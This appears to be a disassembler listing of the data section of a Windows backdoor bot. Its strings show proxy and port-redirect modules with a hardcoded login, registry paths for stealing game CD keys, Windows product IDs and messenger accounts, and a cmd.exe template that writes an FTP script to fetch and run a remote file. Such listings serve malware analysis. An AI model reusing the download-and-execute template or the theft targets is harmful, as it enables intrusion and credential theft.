aTransferEncodi	db 'Transfer-Encoding:',0 ; DATA XREF: sub_428360+915o
		align 10h
aContentLength	db 'Content-Length:',0  ; DATA XREF: sub_428360+87Do
		dd 0
aSSSConnectionC	db '%s %s %s',0Dh,0Ah   ; DATA XREF: sub_428360+6DEo
		db 'Connection: close',0Dh,0Ah
		db '%s',0
		dd 2 dup(0)
aSSSConnectionK	db '%s %s %s',0Dh,0Ah   ; DATA XREF: sub_428360+6A9o
		db 'Connection: Keep-Alive',0Dh,0Ah
		db '%s',0
		align 8
aKeepAlive	db 'Keep-Alive',0       ; DATA XREF: sub_428360:loc_42890Bo
					; sub_428360+9F0o
		align 8
aProxyConnectio	db 'Proxy-Connection:',0 ; DATA XREF: sub_428360+580o
		align 10h
asc_4451F0	db 0Dh,0Ah,0		; DATA XREF: sub_428360+46Co
					; sub_428360+52Co ...
		align 4
aHttprox	db 'HTTPROX',0          ; DATA XREF: sub_428360+437o
		align 10h
aConnect	db 'connect',0          ; DATA XREF: sub_428360+202o
		dd 0
aConnect_0	db 'CONNECT',0          ; DATA XREF: sub_428360+1CDo
		align 8
off_445218	dd offset byte_544547	; DATA XREF: sub_428360+108o
aHttp_0		db 'HTTP',0             ; DATA XREF: sub_429A60+22o
		align 4
aSUnloadedProxy	db '[%s] Unloaded proxy on port %d.',0 ; DATA XREF: sub_429CD0+69o
		dd 2 dup(0)
aSStartingPro_0	db '[%s] Starting proxy on port %d.',0 ; DATA XREF: sub_429CD0+2Eo
		dd 2 dup(0)
aSStartingProxy	db '[%s] Starting proxy on %d with SSL.',0 ; DATA XREF: sub_429CD0+21o
		align 10h
aSocks4		db 'Socks4',0           ; DATA XREF: sub_429DA0+22o
					; sub_42A130+22o
		align 4
aSUnloadedPro_0	db '[%s] Unloaded proxy on %d.',0 ; DATA XREF: sub_42A1F0+1E1o
		align 8
aSStartingSocks	db '[%s] Starting Socks4 Proxy on port %d.',0 ; DATA XREF: sub_42A1F0+2Co
		align 10h
		dd 2 dup(0)
dword_4452F8	dd 1000005h, 0	dword_445300	dd 5, 205h	aSFinishedRed_0	db '[%s] Finished redirecting from port %d to "%s:%d".',0
					; DATA XREF: sub_42B920+20Fo
		align 4
		dd 3 dup(0)
aSRedirectingFr	db '[%s] Redirecting from Port %d to ',27h,'%s:%d',27h,'.',0
					; DATA XREF: sub_42B920+3Fo
		align 4
		dd 2 dup(0)
aSocks5Starting	db '[Socks5] Starting Redirect [Port %d :: Login: "%s:%s"].',0
					; DATA XREF: ___:0042C4D5o
		align 10h
aRoot		db 'root',0             ; DATA XREF: ___:0042C461o
		align 4
		dd offset aWoot		; "Woot"
aWoot		db 'Woot',0             ; DATA XREF: ___:004453C8o
		align 4
aNetworkFailedT	db 'Network failed to start: %d',0Ah,0
		align 8
aCalloc		db 'calloc',0
		align 10h
aSetsockopt	db 'setsockopt',0
		align 10h
aSocket		db 'socket',0
		align 4
aGethostbyname	db 'gethostbyname',0
		align 4
aGetservbyname	db 'getservbyname',0
		align 4
aTcp		db 'tcp',0              ; DATA XREF: sub_42C8B0+49o
					; sub_42C8B0:loc_42C96Do
aControlSocketR	db 'Control socket read failed',0 ; DATA XREF: sub_42CBB0:loc_42CBD2o
		align 4
		dd 0
aRead		db 'read',0             ; DATA XREF: sub_42CCF0:loc_42CE8Co
		align 4
aPassS		db 'PASS %s',0          ; DATA XREF: sub_42D170+72o
		align 10h
aUserS		db 'USER %s',0          ; DATA XREF: sub_42D170+3Do
		dd 0
aWrite		db 'write',0
		align 4
aS_0		db '%s',0Ah,0           ; DATA XREF: sub_42D240+3Do
aInvalidOpenTyp	db 'Invalid open type %d',0Ah,0 ; DATA XREF: sub_42D360+203o
		align 10h
		dd 0
dword_4454A4	dd 524F5453h	byte_4454A8	db 0			; DATA XREF: sub_42D360+EDr
		align 4
dword_4454AC	dd 52544552h	byte_4454B0	db 0			; DATA XREF: sub_42D360+D3r
		align 4
dword_4454B4	dd 5453494Ch	byte_4454B8	db 0			; DATA XREF: sub_42D360+B8r
		align 4
dword_4454BC	dd 54534C4Eh	byte_4454C0	db 0			; DATA XREF: sub_42D360+9Er
		align 4
dword_4454C4	dd 45505954h, 632520h, 0					; ___:0042E76Ao
aMissingPathArg	db 'Missing path argument for file transfer',0Ah,0
					; DATA XREF: sub_42D360+2Do
		align 4
		dd 2 dup(0)
aPortDDDDDD	db 'PORT %d,%d,%d,%d,%d,%d',0
		align 10h
aListen		db 'listen',0
		align 4
aBind		db 'bind',0
		align 10h
aGetsockname	db 'getsockname',0
		align 10h
aUUUUUU		db '%u,%u,%u,%u,%u,%u',0 ; DATA XREF: sub_42D620+10Eo
		align 8
aPasv		db 'PASV',0             ; DATA XREF: sub_42D620+B4o
		align 10h
aInvalidModeC	db 'Invalid mode %c',0Ah,0 ; DATA XREF: sub_42D620+77o
		align 4
aInvalidDirecti	db 'Invalid direction %d',0Ah,0 ; DATA XREF: sub_42D620+45o
		align 10h
aTimedOutWaitin	db 'timed out waiting for connection',0
		align 8
aNet_write3Retu	db 'net_write(3) returned %d, errno = %d',0Ah,0
		align 10h
		dd 2 dup(0)
aNet_write2Retu	db 'net_write(2) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42DEC0+FBo
		align 10h
		dd 2 dup(0)
aNet_write1Retu	db 'net_write(1) returned %d, errno = %d',0Ah,0 ; DATA XREF: sub_42DEC0+DBo
		align 10h
		dd 2 dup(0)
aSiteS		db 'SITE %s',0          ; DATA XREF: ___:0042E17Eo
		dd 0
aSyst		db 'SYST',0             ; DATA XREF: ___:0042E1DDo
		align 4
aMkdS		db 'MKD %s',0           ; DATA XREF: ___:0042E26Eo
		align 4
aCwdS		db 'CWD %s',0           ; DATA XREF: ___:0042E2EEo
		align 4
aCdup		db 'CDUP',0             ; DATA XREF: ___:0042E347o
		align 4
aRmdS		db 'RMD %s',0           ; DATA XREF: ___:0042E39Eo
		align 4
off_44567C	dd offset dword_445750	; DATA XREF: ___:0042E3FDo
aLocalfileWrite	db 'localfile write',0  ; DATA XREF: sub_42E4A0:loc_42E621o
		dd 0
aShortWritePass	db 'short write: passed %d, wrote %d',0Ah,0 ; DATA XREF: sub_42E4A0+125o
		align 4
		dd 0
word_4456BC	dw 77h			; DATA XREF: sub_42E4A0+1Fr
		align 10h
dword_4456C0	dd 25206425h, 64hdword_4456C8	dd 455A4953h, 732520h, 0dword_4456D4	dd 4D54444Dh, 732520h, 0dword_4456E0	dd 4F544E52h, 732520h, 0dword_4456EC	dd 52464E52h, 732520h, 0dword_4456F8	dd 454C4544h, 732520h, 0aQuit		db 'QUIT',0             ; DATA XREF: sub_42EAE0+10o
		align 4
dword_44570C	dd 1							; sub_430500+1Fw ...
aInterlockedcom	db 'InterlockedCompareExchange',0 ; DATA XREF: sub_431320+13o
		align 10h
aKernel32_dll	db 'KERNEL32.DLL',0     ; DATA XREF: sub_431320+6o
		align 10h
aA:					; DATA XREF: sub_433AC0+36o
		unicode	0, <>,0
		align 10h
dword_445750	dd 10h dup(0)			dd offset aBattlefield194 ; "[Battlefield 1942:	"
		dd 80000002h, 446864h, 446F30h,	446830h, 80000002h, 4467D0h
		dd 446F30h, 4467A0h, 80000002h,	446748h, 446F30h, 446724h
		dd 80000002h, 4466DCh, 446F30h,	4466C4h, 80000002h, 446680h
		dd 446F30h, 446658h, 80000002h,	44661Ch, 446F30h, 4465E8h
		dd 80000002h, 446588h, 446F30h,	44655Ch, 80000002h, 446538h
		dd 446530h, 446504h, 80000002h,	4464DCh, 446530h, 4464C4h
		dd 80000001h, 446494h, 446490h,	446480h, 80000002h, 446444h
		dd 446F30h, 446434h, 80000002h,	4463F8h, 446F30h, 4463E4h
		dd 80000002h, 44639Ch, 446F30h,	446380h, 80000002h, 44633Ch
		dd 446F30h, 446320h, 80000001h,	4462F8h, 446490h, 4462E8h
		dd 80000001h, 4462C0h, 446490h,	4462A0h, 80000002h, 446264h
		dd 446260h, 446244h, 80000002h,	446220h, 446218h, 446200h
		dd 80000001h, 4461D4h, 4461CCh,	4461A8h, 80000002h, 44615Ch
		dd 446F30h, 446134h, 80000002h,	4460E0h, 446F30h, 4460A8h
		dd 80000002h, 446044h, 446F30h,	446010h, 80000002h, 445FB0h
		dd 446F30h, 445F94h, 80000002h,	445F4Ch, 446F30h, 445F30h
		dd 80000002h, 445EE8h, 446F30h,	445ED8h, 80000002h, 445E9Ch
		dd 446F30h, 445E8Ch, 80000002h,	445E50h, 446F30h, 445E28h
		dd 80000002h, 445DD4h, 446F30h,	445DACh, 80000002h, 445D5Ch
		dd 446F30h, 445D40h, 80000002h,	445D18h, 446490h, 445D04h
		dd 80000002h, 445CCCh, 446F30h,	445C9Ch, 80000002h, 445C44h
		dd 446F30h, 445C28h, 80000001h,	445BD8h, 445BD0h, 445BB4h
		dd 80000002h, 445B70h, 445B64h,	445B4Ch, 80000001h, 445B1Ch
		dd 445B10h, 445AF0h, 80000002h,	445AB4h, 445BD0h, 445A94h
		dd 80000002h, 445A58h, 445BD0h,	1Eh dup(0)
aSoftwareUnreal	db 'SOFTWARE\Unreal Technology\Installed Apps\UT2004',0
		align 4
		dd 2 dup(0)
aUnrealTourname	db '[Unreal Tournament 2004: ',0
		align 10h
		dd 0
aSoftwareUnre_0	db 'SOFTWARE\Unreal Technology\Installed Apps\UT2003',0
		align 10h
aUnrealTourna_0	db '[Unreal Tournament 2003: ',0
		align 10h
aRegnumber	db 'RegNumber',0
		align 4
aSoftwareEugenS	db 'Software\Eugen Systems\The Gladiators',0
		align 4
		dd 2 dup(0)
aTheGladiators	db '[The Gladiators: ',0
		align 10h
		dd 0
aSof2key	db 'sof2key',0
		align 10h
aSoftwareActivi	db 'Software\Activision\Soldier of Fortune II - Double Helix',0
		align 4
		dd 2 dup(0)
aSoldierOfFortu	db '[Soldier Of Fortune 2: ',0
		align 10h
aCdkey		db 'CDKey',0
		align 4
aSoftwareSilver	db 'Software\Silver Style Entertainment\Soldiers Of Anarchy\Settings',0
		align 4
		dd 3 dup(0)
aSoldiersOfAnar	db '[Soldiers Of Anarchy: ',0
		align 10h
		dd 0
aSoftwareElectr	db 'SOFTWARE\Electronic Arts\EA GAMES\Shogun Total War - Warlord Edit'
		db 'ion\ergc',0
		align 10h
		dd 3 dup(0)
aShogunTotalWar	db '[Shogun: Total War: Warlord Edition: ',0
		align 4
		dd 2 dup(0)
aSoftwareRedSto	db 'SOFTWARE\Red Storm Entertainment\RAVENSHIELD',0
		align 4
		dd 2 dup(0)
		dd 7661525Bh, 68736E65h, 646C6569h, 203Ah, 0
aSoftwareBiowar	db 'Software\BioWare\NWN\Neverwinter',0
		align 10h
aNeverwinterNig	db '[Neverwinter Nights: ',0
		align 4
		dd 0
aSoftwareElec_0	db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Underground\ergc'
		db 0
		align 10h
		dd 3 dup(0)
aNeedForSpeedUn	db '[Need For Speed: Underground: ',0
		align 4
		dd 2 dup(0)
aSoftwareElec_1	db 'SOFTWARE\Electronic Arts\EA GAMES\Need For Speed Hot Pursuit 2\er'
		db 'gc',0
		dd 4 dup(0)
aNeedForSpeedHo	db '[Need For Speed: Hot Pursuit 2: ',0
		align 10h
aSoftwareElec_2	db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2003\ergc',0
		align 4
		dd 2 dup(0)
		dd 4C484E5Bh, 30303220h, 203A33h, 0
aSoftwareElec_3	db 'SOFTWARE\Electronic Arts\EA Sports\NHL 2002\ergc',0
		align 10h
		dd 2 dup(0)
		dd 4C484E5Bh, 30303220h, 203A32h, 0
aSoftwareElec_4	db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2003\ergc',0
		align 10h
aNascarRacing20	db '[Nascar Racing 2003: ',0
		align 4
		dd 0
aSoftwareElec_5	db 'SOFTWARE\Electronic Arts\EA Sports\Nascar Racing 2002\ergc',0
		align 4
		dd 3 dup(0)
aNascarRacing_0	db '[Nascar Racing 2002: ',0
		align 10h
aSoftwareElec_6	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault S'
		db 'pearhead\ergc',0
		align 10h
		dd 4 dup(0)
aMedalOfHonorAl	db '[Medal of Honor: Allied Assault: Spearhead ',0
		dd 2 dup(0)
aSoftwareElec_7	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault B'
		db 'reakthrough\ergc',0
		align 4
		dd 4 dup(0)
aMedalOfHonor_0	db '[Medal of Honor: Allied Assault: Breakthrough ',0
		align 10h
aSoftwareElec_8	db 'SOFTWARE\Electronic Arts\EA GAMES\Medal of Honor Allied Assault\e'
		db 'rgc',0
		align 4
		dd 3 dup(0)
aMedalOfHonor_1	db '[Medal of Honor: Allied Assault: ',0
		align 4
		dd 0
aSoftwareElec_9	db 'SOFTWARE\Electronic Arts\EA GAMES\James Bond 007 Nightfire\ergc',0
		dd 3 dup(0)
aJamesBond007Ni	db '[James Bond 007: Nightfire: ',0
		align 4
		dd 0
aPrvkey		db 'prvkey',0
		align 4
aSoftwareJowood	db 'Software\JoWooD\InstalledGames\IG2',0
		align 10h
aIndustryGiant2	db '[Industry Giant 2: ',0
		align 8
aCdkey_0	db 'CDkey',0
		align 10h
aSoftwareIgi2Re	db 'SOFTWARE\IGI 2 Retail\CDKey',0
		dd 2 dup(0)
aIgi2CovertStri	db '[IGI2: Covert Strike: ',0
		align 10h
aKey		db 'key',0
aSoftwareIllusi	db 'SOFTWARE\Illusion Softworks\Hidden & Dangerous 2',0
					; DATA XREF: Themida_:005D176Co
		align 10h
aHiddenAndDange	db '[Hidden and Dangerous 2: ',0
		align 10h
aSoftwareValveH	db 'Software\Valve\Half-Life\Settings',0
		align 8
aHalfLife	db '[Half-Life: ',0
		align 4
aSoftwareValveG	db 'Software\Valve\Gunman\Settings',0
		align 10h
aGunmanChronicl	db '[Gunman Chronicles: ',0
		align 4
		dd 0
aSoftwareEle_10	db 'SOFTWARE\Electronic Arts\EA GAMES\Global Operations\ergc',0
		align 10h
aGlobalOperatio	db '[Global Operations: ',0
		align 4
		dd 0
aSoftwareEle_11	db 'SOFTWARE\Electronic Arts\EA Distribution\Freedom Force\ergc',0
		dd 3 dup(0)
aFreedomForce	db '[Freedom Force: ',0
		align 4
aSoftwareEle_12	db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2003\ergc',0
		align 4
		dd 2 dup(0)
		dd 4649465Bh, 30322041h, 203A3330h, 0
aSoftwareEle_13	db 'SOFTWARE\Electronic Arts\EA Sports\FIFA 2002\ergc',0
		align 10h
aFifa2002	db '[FIFA 2002: ',0
		align 10h
aKey_0		db 'Key',0
aSoftwareValveC	db 'Software\Valve\CounterStrike\Settings',0
		align 4
		dd 2 dup(0)
aCounterStrike	db '[Counter-Strike: ',0
		align 4
		dd 0
aSoftwareWestwo	db 'SOFTWARE\Westwood\Tiberian Sun',0
		align 4
		dd 2 dup(0)
aCommandAndConq	db '[Command and Conquer: Tiberian Sun: ',0
		align 10h
aSerial		db 'Serial',0
		align 4
aSoftwareWest_0	db 'SOFTWARE\Westwood\Red Alert 2',0
		align 4
		dd 0
aCommandAndCo_0	db '[Command and Conquer: Red Alert2: ',0
		align 10h
		dd 2 dup(0)
aSoftwareEle_14	db 'SOFTWARE\Electronic Arts\EA GAMES\Command and Conquer Generals Ze'
		db 'ro Hour\ergc',0
		align 4
		dd 4 dup(0)
aCommandAndCo_1	db '[Command and Conquer: Generals: Zero Hour: ',0
		dd 2 dup(0)
aSoftwareEle_15	db 'SOFTWARE\Electronic Arts\EA GAMES\Generals\ergc',0
		dd 3 dup(0)
aCommandAndCo_2	db '[Command and Conquer: Generals: ',0
		align 10h
aSoftwareEle_16	db 'SOFTWARE\Electronic Arts\EA GAMES\Black and White\ergc',0
		align 4
		dd 3 dup(0)
aBlackAndWhite	db '[Black and White: ',0
		align 4
		dd 0
aSoftwareEle_17	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield Vietnam\ergc',0
		align 4
		dd 3 dup(0)
aBattlefield1_0	db '[Battlefield 1942: Vietnam:',0
		dd 2 dup(0)
aSoftwareEle_18	db 'SOFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 The Road to Ro'
		db 'me\ergc',0
		align 10h
aBattlefield1_1	db '[Battlefield 1942: The Road To Rome: ',0
		align 10h
		db 53h
aOftwareElectro	db 'OFTWARE\Electronic Arts\EA GAMES\Battlefield 1942 Secret Weapons '
		db 'of WWII\ergc',0
		align 10h
		dd 4 dup(0)
aBattlefield1_2	db '[Battlefield 1942: Secret Weapons Of WWII: ',0
		dd 2 dup(0)
		db 53h
aOftwareElect_0	db 'OFTWARE\Electronic Arts\EA GAMES\Battlefield 1942\ergc',0
		dd 3 dup(0)
aBattlefield194	db '[Battlefield 1942: ',0 ; DATA XREF: ___:00445790o
		align 10h
aYahooS		db 'yahoo: %s',0        ; DATA XREF: ___:00435054o
		align 4
aYahooUserId	db 'Yahoo! User ID',0   ; DATA XREF: ___:00435018o
		align 10h
aSoftwareYahooP	db 'Software\Yahoo\Pager',0 ; DATA XREF: ___:00434FDAo
		align 4
		dd 0
dword_4468FC	dd 3A6D6961h, 732520h, 0dword_446908	dd 65726353h, 4E206E65h, 656D61h, 0aSoftwareAmeric	db 'Software\America Online\AOL Instant Messenger (TM)\CurrentVersion'
					; DATA XREF: ___:00434F1Co
		db '\Login',0
		dd 4 dup(0)
aFoundCodCdkeyS	db 'Found COD CDKey (%s).',0
		align 4
		dd 0
aTsh3xswtypwguu	db 'TSH3XSWTYPWGUUTXE660',0
		align 8
aSMainS		db '%s\main\%s',0
		align 8
aCodkey		db 'codkey',0
		align 10h
aSoftwareActi_0	db 'Software\Activision\Call of Duty',0
		align 8
aFoundSof2Cdkey	db 'Found SOF2 CDKey (%s).',0
		align 10h
		dd 0
aMtkwftmkemfew3	db 'mtkwftmkemfew3p3b7',0
		align 4
		dd 0
		dd 625C7325h, 5C657361h, 255C706Dh, 73h
aInstallpath	db 'InstallPath',0
		dd 0
dword_446A3C	dd 3A6E736Dh, 732520h, 0dword_446A48	dd 6F6C6C41h, 642577h, 0aSoftwareMicr_2	db 'Software\Microsoft\MessengerService\ListCache\.NET Messenger Serv'
					; DATA XREF: ___:004354E7o
		db 'ice',0
		align 4
		dd 3 dup(0)
aFoundEmailS_	db 'Found EMail (%s).',0 ; DATA XREF: ___:0043548Co
		align 10h
aSoftwareMicr_1	db 'Software\Microsoft\WAB\WAB4\Wab File Name',0 ; DATA XREF: ___:0043535Eo
		align 4
		dd 2 dup(0)
aFoundWindowsPr	db 'Found Windows Product ID (%s).',0 ; DATA XREF: sub_435790+546o
		align 4
		dd 2 dup(0)
aProductid	db 'ProductId',0        ; DATA XREF: sub_435790+52Bo
		align 4
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion',0
					; DATA XREF: sub_435790+4FEo
		align 4
		dd 2 dup(0)
aHkuS		db 'HKU: %s',0          ; DATA XREF: sub_435790+4A4o
		align 8
aHkcrS		db 'HKCR: %s',0         ; DATA XREF: sub_435790+3BBo
		align 4


loc_446B74:				; DATA XREF: sub_435790+2D3o
		dec	eax
		dec	ebx
		inc	ebx
		inc	ebx
		cmp	ah, [eax]
		and	eax, 73h


loc_446B7F:				; DATA XREF: sub_435790+1EBo
		add	[eax+4Bh], cl
		dec	esp
		dec	ebp
		cmp	ah, [eax]
		and	eax, 73h


loc_446B8B:				; DATA XREF: sub_435790+103o
		add	[eax+4Bh], cl
		inc	ebx
		push	ebp
		cmp	ah, [eax]
		and	eax, 73h


loc_446B97:				; DATA XREF: ___:00435F56o
					; ___:004361B0o ...
		add	bl, ch
		add	ch, bl
		add	eax, 0FFFFF9E8h
		call	fword ptr [ebx+31h]
		leave
		mov	cx, 0FFFFh


loc_446BA8:				; CODE XREF: ___:00446BADj
		xor	byte ptr [ebx+0Eh], 0FFh
		inc	ebx
		loop	loc_446BA8
; ---------------------------------------------------------------------------
		db 0
		dd 0
aStartMinCmd_ex	db 'start /min cmd.exe /c "echo open %s %d > bla.txt && echo user %s '
					; DATA XREF: ___:004363DBo
		db '%s >> bla.txt && echo binary >> bla.txt && echo get %s >> bla.txt'
		db ' && echo quit >> bla.txt && ftp.exe -n -s:bla.txt && %s"',0Ah,0
		dd 0Ch dup(0)
off_446CA0	dd offset off_43E1D4	; DATA XREF: ___:off_43E318o
					; ___:0043E354o
		align 8
a_?avtype_info@	db '.?AVtype_info@@',0
		align 10h
		dd 1, 9Bh dup(0)
byte_446F30	db 0			; DATA XREF: sub_4034E0+95o
					; sub_404640+200o ...
		align 4
dword_446F34	dd 0							; sub_424680+11o ...
dword_446F38	dd 0		; resolved to->KERNEL32.Process32Next					; ___:0040D46Fr ...
		align 10h
dword_446F40	dd 0							; ___:0040D3D5w ...
		dd 8 dup(0)
dword_446F64	dd 41h dup(0)						; ___:0040D410o ...
dword_447068	dd 0							; ___:loc_40D464r ...
dword_44706C	dd 0		; resolved to->KERNEL32.Process32First					; ___:0040D3DFr ...
dword_447070	dd 0		; resolved to->KERNEL32.CreateToolhelp32Snapshot					; sub_40D610+CAw
dword_447074	dd 0							; sub_40D610+E3r
		dd 11h dup(0)
dword_4470BC	dd 0							; sub_40FFE0+47Dr
dword_4470C0	dd 0							; sub_40FFE0+515r ...
dword_4470C4	dd 0							; sub_40FFE0+655r ...
dword_4470C8	dd 0							; sub_40FFE0+B79r ...
dword_4470CC	dd 0							; sub_40FFE0+74Br
dword_4470D0	dd 0							; sub_40FFE0+828r
dword_4470D4	dd 0							; sub_40FFE0+77Cr
dword_4470D8	dd 0							; sub_40FFE0+4DDr ...
dword_4470DC	dd 0							; sub_40FFE0+311r
dword_4470E0	dd 0							; sub_40FFE0+34Dr ...
dword_4470E4	dd 0							; sub_40FFE0+33Dr
dword_4470E8	dd 0							; sub_40FFE0+3D2r
dword_4470EC	dd 0							; sub_40FFE0+E93r
dword_4470F0	dd 0							; sub_40FFE0+1220r ...
dword_4470F4	dd 0							; sub_412060+4DAr
dword_4470F8	dd 0							; sub_40FFE0+683r
dword_4470FC	dd 0							; sub_40FFE0+6B5r
dword_447100	dd 0							; sub_40FFE0+1252r
		dd 5 dup(0)
dword_447118	dd 10h dup(0)						; ___:0040405Fo ...
		db 2 dup(0)
byte_44715A	db 0			; DATA XREF: sub_409AC0r sub_409B30r
		align 4
		db 3 dup(0)
byte_44715F	db 0			; DATA XREF: sub_40D610+10Fr
		db 0
byte_447161	db 0			; DATA XREF: sub_40DBA0r
word_447162	dw 0			; DATA XREF: sub_40DBA0+9o
		dd 44h dup(0)
		db 3 dup(0)
byte_447277	db 0			; DATA XREF: ___:00412F4Ao
					; ___:00412FFFo ...
		db 3 dup(0)
byte_44727B	db 0			; DATA XREF: sub_41F910:loc_41F94Dr
		align 10h
dword_447280	dd 12h dup(0)						; sub_40FFE0+114o
		db 0
byte_4472C9	db 3 dup(0)		; DATA XREF: ___:00408B4Do
					; sub_40FFE0+159o ...
		dd 11h dup(0)
		db 2 dup(0)
word_447312	dw 0			; DATA XREF: ___:00408B24o
					; sub_40FFE0+132o
		dd 6 dup(0)
word_44732C	dw 0			; DATA XREF: sub_40FFE0+1E1r
		align 10h
		dd 0Ah dup(0)
		db 3 dup(0)
byte_44735B	db 0			; DATA XREF: ___:00408B76o
					; sub_40FFE0+17Co ...
		dd 12h dup(0)
dword_4473A4	dd 12h dup(0)						; sub_40FFE0+F7o ...
		db 0
byte_4473ED	db 3 dup(0)		; DATA XREF: ___:00408AAFo
					; sub_40FFE0+D0o ...
		dd 23h dup(0)
		db 3 dup(0)
byte_44747F	db 0			; DATA XREF: ___:00408B9Fo
					; sub_40FFE0+19Ao
		dd 24h dup(0)
		db 0
byte_447511	db 3 dup(0)		; DATA XREF: sub_4250B0+2Bo
					; sub_4250B0+37o
		dd 11h dup(0)
		db 2 dup(0)
word_44755A	dw 0			; DATA XREF: ___:00412F1Ao
					; ___:00412F39o ...
		dd 3Ch dup(0)
		db 3 dup(0)
dword_44764F	dd 0							; sub_41EFE0+154r ...
		align 4
		dd 35h dup(0)
		db 0
byte_447729	db 0			; DATA XREF: sub_41BA00+18r
		align 4
		dd 36h dup(0)
byte_447804	db 0			; DATA XREF: sub_40FFE0+842r
		align 4
		dd 0Bh dup(0)
dword_447834	dd 18h dup(0)						; sub_40EDF0+97o ...
		db 2 dup(0)
byte_447896	db 0			; DATA XREF: sub_404C70+258r
					; sub_41D8E0+66Er
		align 4
		dd 11h dup(0)
		db 3 dup(0)
byte_4478DF	db 0			; DATA XREF: sub_404C70:loc_404EE0r
					; sub_41D8E0:loc_41DF66r
		dd 0Bh dup(0)
		db 3 dup(0)
byte_44790F	db 0			; DATA XREF: sub_404C70+279o
					; sub_41D8E0+68Fo ...
		dd 12h dup(0)
dword_447958	dd 2Bh dup(0)						; sub_41EFE0+630o ...
dword_447A04	dd 0				dd 11h dup(0)
		db 0
dword_447A4D	dd 0				align 4
		dd 0D9h	dup(0)
byte_447DB8	db 0			; DATA XREF: sub_41EFE0+146r
					; sub_41EFE0+5EEr
		align 4
		dd 3A8h	dup(0)
		db 2 dup(0)
word_448C5E	dw 0			; DATA XREF: sub_404640+1BDo
					; sub_404B10+31o ...
		db 2 dup(0)
word_448C62	dw 0			; DATA XREF: sub_404B10+4o
		dd 1Ch dup(0)
		db 2 dup(0)
word_448CD6	dw 0			; DATA XREF: sub_407660+36o
					; sub_4076F0+3Eo ...
		dd 26h dup(0)
dword_448D70	dd 86h dup(0)						; sub_404C70+27Eo ...
		db 3 dup(0)
byte_448F8B	db 0			; DATA XREF: sub_4256E0+3Bw
					; sub_425750+7Ew ...
		dd 7Fh dup(0)
		db 3 dup(0)
dword_44918B	dd 0							; sub_425750+4Fw ...
dword_44918F	dd 0							; ___:0042414Dw ...
dword_449193	dd 0							; sub_425750+5Dr ...
dword_449197	dd 0							; sub_425750+8Cr ...
dword_44919B	dd 0							; sub_425750+9Dr
dword_44919F	dd 0							; ___:00424181r ...
byte_4491A3	db 0			; DATA XREF: sub_4256E0+42w
					; sub_425750+85w
		dd 3028h dup(0)
		db 3 dup(0)
byte_455247	db 0			; DATA XREF: ___:off_444F00o
dword_455248	dd 0EB85h dup(0)
dword_49005C	dd 0B0A3h dup(0)		db 0
byte_4BC2E9	db 3 dup(0)		; DATA XREF: ___:off_402009o
dword_4BC2EC	dd 6058h dup(0)
		db 0
byte_4D444D	db 3 dup(0)		; DATA XREF: ___:off_4442FCo
		dd 6CEh	dup(0)
		db 3 dup(0)
dword_4D5F8B	dd 0							; sub_425980+13o
		align 10h
		dd 39h dup(0)
		db 0
byte_4D6075	db 3 dup(0)		; DATA XREF: sub_404C20+1Eo
					; sub_404C70+65o ...
		dd 5 dup(0)
byte_4D608C	db 0			; DATA XREF: sub_404C70+292w
					; sub_404C70+4EBw
dword_4D608D	dd 0							; sub_422AF0:loc_423274r ...
		align 4
		dd 0
		db 0
dword_4D6099	dd 0							; sub_404C20+2Aw
byte_4D609D	db 3 dup(0)		; DATA XREF: ___:00412F74o
					; ___:00412F97o
		dd 9 dup(0)
		db 3 dup(0)
dword_4D60C7	dd 0							; sub_427B70:loc_427C67r
		align 4
		dd 2Fh dup(0)
		db 3 dup(0)
byte_4D618B	db 0			; DATA XREF: sub_425910+16o
					; sub_425940+19o
		db 3 dup(0)
byte_4D618F	db 0			; DATA XREF: sub_425840+4Co
		dd 6Fh dup(0)
		db 3 dup(0)
byte_4D634F	db 0			; DATA XREF: ___:0040823Bo
					; ___:004086CCo ...
		dd 8 dup(0)
dword_4D6370	dd 0				dd 51h dup(0)
		db 0
byte_4D64B9	db 0			; DATA XREF: sub_4268C0:loc_426970r
					; sub_426D80:loc_426E35r ...
		align 4
		dd 9Eh dup(0)
		db 0
dword_4D6735	dd 0							; sub_426D80+7Dw ...
		align 4
		dd 1EDAh dup(0)
		db 0
byte_4DE2A5	db 3 dup(0)		; DATA XREF: ___:00419F43o
					; sub_41A000+13o
dword_4DE2A8	dd 1EB9h dup(0)
		db 3 dup(0)
byte_4E5D8F	db 0			; DATA XREF: sub_426B00+1Do
		dd 21h dup(0)
		db 0
byte_4E5E15	db 3 dup(0)		; DATA XREF: ___:00419F53o
		dd 235h	dup(0)
		db 3 dup(0)
byte_4E66EF	db 0			; DATA XREF: sub_426B00+2Fo
		dd 1D5h	dup(0)
byte_4E6E44	db 0			; DATA XREF: sub_404C70+299w
					; sub_40FFE0:loc_410022r ...
byte_4E6E45	db 3 dup(0)		; DATA XREF: sub_404C70+235o
					; sub_404C70+874o ...
		dd 4 dup(0)
		db 2 dup(0)
word_4E6E5A	dw 0			; DATA XREF: sub_404C70+2D4o
					; ___:004086E0o ...
		dd 0Fh dup(0)
		db 0
byte_4E6E99	db 0			; DATA XREF: sub_41F910+31w
					; sub_41F910+47w ...
		db 0
byte_4E6E9B	db 0			; DATA XREF: sub_418540+21o
					; sub_41D8E0+341o ...
dword_4E6E9C	dd 752Eh dup(0)
dword_504354	dd 0AB6h dup(0)	dword_506E2C	dd 409h	dup(0)						; ___:00419B4Do ...
dword_507E50	dd 0BF7h dup(0)						; Themida_:loc_648BF8o
dword_50AE2C	dd 333h	dup(0)						; ___:00419B68o ...
dword_50BAF8	dd 0							; sub_41A0C0+1Br ...
		dd 3 dup(0)
dword_50BB08	dd 0							; ___:0041FBEDw ...
dword_50BB0C	dd 0							; sub_41FB40+2Aw ...
dword_50BB10	dd 0		dword_50BB14	dd 0							; ___:0041FC0Bw
dword_50BB18	dd 0		dword_50BB1C	dd 0							; ___:0041FC17w ...
dword_50BB20	dd 0							; ___:0041FC1Dw ...
dword_50BB24	dd 0							; ___:00420E59o
dword_50BB28	dd 0							; sub_41FB40:loc_41FB64r ...
dword_50BB2C	dd 0							; ___:0041FC31w
